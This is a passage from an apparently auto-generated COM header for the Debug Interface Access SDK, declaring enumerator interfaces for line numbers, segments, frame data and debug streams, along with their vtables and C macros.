STDMETHODCALLTYPE *get_Count )( IDiaEnumInputAssemblyFiles * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumInputAssemblyFiles * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaInputAssemblyFile **file); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumInputAssemblyFiles * This, /* [in] */ ULONG celt, /* [out] */ IDiaInputAssemblyFile **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumInputAssemblyFiles * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumInputAssemblyFiles * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumInputAssemblyFiles * This, /* [out] */ IDiaEnumInputAssemblyFiles **ppenum); END_INTERFACE } IDiaEnumInputAssemblyFilesVtbl; interface IDiaEnumInputAssemblyFiles { CONST_VTBL struct IDiaEnumInputAssemblyFilesVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumInputAssemblyFiles_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumInputAssemblyFiles_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumInputAssemblyFiles_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumInputAssemblyFiles_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumInputAssemblyFiles_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumInputAssemblyFiles_Item(This,index,file) \ ( (This)->lpVtbl -> Item(This,index,file) ) #define IDiaEnumInputAssemblyFiles_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumInputAssemblyFiles_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumInputAssemblyFiles_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumInputAssemblyFiles_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumLineNumbers_INTERFACE_DEFINED__ #define __IDiaEnumLineNumbers_INTERFACE_DEFINED__ /* interface IDiaEnumLineNumbers */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumLineNumbers; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("FE30E878-54AC-44f1-81BA-39DE940F6052") IDiaEnumLineNumbers : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaLineNumber **lineNumber) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaLineNumber **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumLineNumbers **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumLineNumbersVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumLineNumbers * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumLineNumbers * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumLineNumbers * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumLineNumbers * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumLineNumbers * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumLineNumbers * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaLineNumber **lineNumber); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumLineNumbers * This, /* [in] */ ULONG celt, /* [out] */ IDiaLineNumber **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumLineNumbers * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumLineNumbers * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumLineNumbers * This, /* [out] */ IDiaEnumLineNumbers **ppenum); END_INTERFACE } IDiaEnumLineNumbersVtbl; interface IDiaEnumLineNumbers { CONST_VTBL struct IDiaEnumLineNumbersVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumLineNumbers_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumLineNumbers_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumLineNumbers_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumLineNumbers_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumLineNumbers_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumLineNumbers_Item(This,index,lineNumber) \ ( (This)->lpVtbl -> Item(This,index,lineNumber) ) #define IDiaEnumLineNumbers_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumLineNumbers_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumLineNumbers_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumLineNumbers_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumLineNumbers_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumInjectedSources_INTERFACE_DEFINED__ #define __IDiaEnumInjectedSources_INTERFACE_DEFINED__ /* interface IDiaEnumInjectedSources */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumInjectedSources; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("D5612573-6925-4468-8883-98CDEC8C384A") IDiaEnumInjectedSources : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaInjectedSource **injectedSource) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaInjectedSource **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumInjectedSources **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumInjectedSourcesVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumInjectedSources * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumInjectedSources * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumInjectedSources * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumInjectedSources * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumInjectedSources * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumInjectedSources * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaInjectedSource **injectedSource); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumInjectedSources * This, /* [in] */ ULONG celt, /* [out] */ IDiaInjectedSource **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumInjectedSources * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumInjectedSources * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumInjectedSources * This, /* [out] */ IDiaEnumInjectedSources **ppenum); END_INTERFACE } IDiaEnumInjectedSourcesVtbl; interface IDiaEnumInjectedSources { CONST_VTBL struct IDiaEnumInjectedSourcesVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumInjectedSources_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumInjectedSources_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumInjectedSources_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumInjectedSources_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumInjectedSources_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumInjectedSources_Item(This,index,injectedSource) \ ( (This)->lpVtbl -> Item(This,index,injectedSource) ) #define IDiaEnumInjectedSources_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumInjectedSources_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumInjectedSources_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumInjectedSources_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumInjectedSources_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSegments_INTERFACE_DEFINED__ #define __IDiaEnumSegments_INTERFACE_DEFINED__ /* interface IDiaEnumSegments */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSegments; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("E8368CA9-01D1-419d-AC0C-E31235DBDA9F") IDiaEnumSegments : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaSegment **segment) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaSegment **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumSegments **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSegmentsVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSegments * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSegments * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSegments * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumSegments * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumSegments * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumSegments * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaSegment **segment); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSegments * This, /* [in] */ ULONG celt, /* [out] */ IDiaSegment **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumSegments * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumSegments * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSegments * This, /* [out] */ IDiaEnumSegments **ppenum); END_INTERFACE } IDiaEnumSegmentsVtbl; interface IDiaEnumSegments { CONST_VTBL struct IDiaEnumSegmentsVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSegments_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSegments_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSegments_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSegments_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumSegments_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumSegments_Item(This,index,segment) \ ( (This)->lpVtbl -> Item(This,index,segment) ) #define IDiaEnumSegments_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSegments_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumSegments_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumSegments_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSegments_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSectionContribs_INTERFACE_DEFINED__ #define __IDiaEnumSectionContribs_INTERFACE_DEFINED__ /* interface IDiaEnumSectionContribs */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSectionContribs; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("1994DEB2-2C82-4b1d-A57F-AFF424D54A68") IDiaEnumSectionContribs : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaSectionContrib **section) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaSectionContrib **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumSectionContribs **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSectionContribsVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSectionContribs * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSectionContribs * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSectionContribs * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumSectionContribs * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumSectionContribs * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumSectionContribs * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaSectionContrib **section); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSectionContribs * This, /* [in] */ ULONG celt, /* [out] */ IDiaSectionContrib **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumSectionContribs * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumSectionContribs * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSectionContribs * This, /* [out] */ IDiaEnumSectionContribs **ppenum); END_INTERFACE } IDiaEnumSectionContribsVtbl; interface IDiaEnumSectionContribs { CONST_VTBL struct IDiaEnumSectionContribsVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSectionContribs_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSectionContribs_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSectionContribs_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSectionContribs_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumSectionContribs_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumSectionContribs_Item(This,index,section) \ ( (This)->lpVtbl -> Item(This,index,section) ) #define IDiaEnumSectionContribs_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSectionContribs_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumSectionContribs_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumSectionContribs_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSectionContribs_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumFrameData_INTERFACE_DEFINED__ #define __IDiaEnumFrameData_INTERFACE_DEFINED__ /* interface IDiaEnumFrameData */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumFrameData; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("9FC77A4B-3C1C-44ed-A798-6C1DEEA53E1F") IDiaEnumFrameData : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaFrameData **frame) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaFrameData **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumFrameData **ppenum) = 0; virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE frameByRVA( /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaFrameData **frame) = 0; virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE frameByVA( /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaFrameData **frame) = 0; }; #else /* C style interface */ typedef struct IDiaEnumFrameDataVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumFrameData * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumFrameData * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumFrameData * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumFrameData * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumFrameData * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumFrameData * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaFrameData **frame); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumFrameData * This, /* [in] */ ULONG celt, /* [out] */ IDiaFrameData **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumFrameData * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumFrameData * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumFrameData * This, /* [out] */ IDiaEnumFrameData **ppenum); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *frameByRVA )( IDiaEnumFrameData * This, /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaFrameData **frame); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *frameByVA )( IDiaEnumFrameData * This, /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaFrameData **frame); END_INTERFACE } IDiaEnumFrameDataVtbl; interface IDiaEnumFrameData { CONST_VTBL struct IDiaEnumFrameDataVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumFrameData_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumFrameData_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumFrameData_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumFrameData_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumFrameData_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumFrameData_Item(This,index,frame) \ ( (This)->lpVtbl -> Item(This,index,frame) ) #define IDiaEnumFrameData_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumFrameData_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumFrameData_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumFrameData_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #define IDiaEnumFrameData_frameByRVA(This,relativeVirtualAddress,frame) \ ( (This)->lpVtbl -> frameByRVA(This,relativeVirtualAddress,frame) ) #define IDiaEnumFrameData_frameByVA(This,virtualAddress,frame) \ ( (This)->lpVtbl -> frameByVA(This,virtualAddress,frame) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumFrameData_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumDebugStreamData_INTERFACE_DEFINED__ #define __IDiaEnumDebugStreamData_INTERFACE_DEFINED__ /* interface IDiaEnumDebugStreamData */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumDebugStreamData; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("486943E8-D187-4a6b-A3C4-291259FFF60D") IDiaEnumDebugStreamData : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumDebugStreamData **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumDebugStreamDataVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumDebugStreamData * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumDebugStreamData * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumDebugStreamData * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumDebugStreamData * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumDebugStreamData * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaEnumDebugStreamData * This, /* [retval][out] */ BSTR *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumDebugStreamData * This, /* [in] */ DWORD index, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumDebugStreamData * This, /* [in] */ ULONG celt, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumDebugStreamData * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumDebugStreamData * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumDebugStreamData * This, /* [out] */ IDiaEnumDebugStreamData **ppenum); END_INTERFACE } IDiaEnumDebugStreamDataVtbl; interface IDiaEnumDebugStreamData { CONST_VTBL struct IDiaEnumDebugStreamDataVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumDebugStreamData_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumDebugStreamData_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumDebugStreamData_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumDebugStreamData_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumDebugStreamData_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumDebugStreamData_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaEnumDebugStreamData_Item(This,index,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> Item(This,index,cbData,pcbData,pbData) ) #define IDiaEnumDebugStreamData_Next(This,celt,cbData,pcbData,pbData,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,cbData,pcbData,pbData,pceltFetched) ) #define IDiaEnumDebugStreamData_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumDebugStreamData_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumDebugStreamData_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumDebugStreamData_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumDebugStreams_INTERFACE_DEFINED__ #define __IDiaEnumDebugStreams_INTERFACE_DEFINED__ /* interface IDiaEnumDebugStreams */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumDebugStreams; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("08CBB41E-47A6-4f87-92F1-1C9C87CED044") IDiaEnumDebugStreams : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ VARIANT index, /* 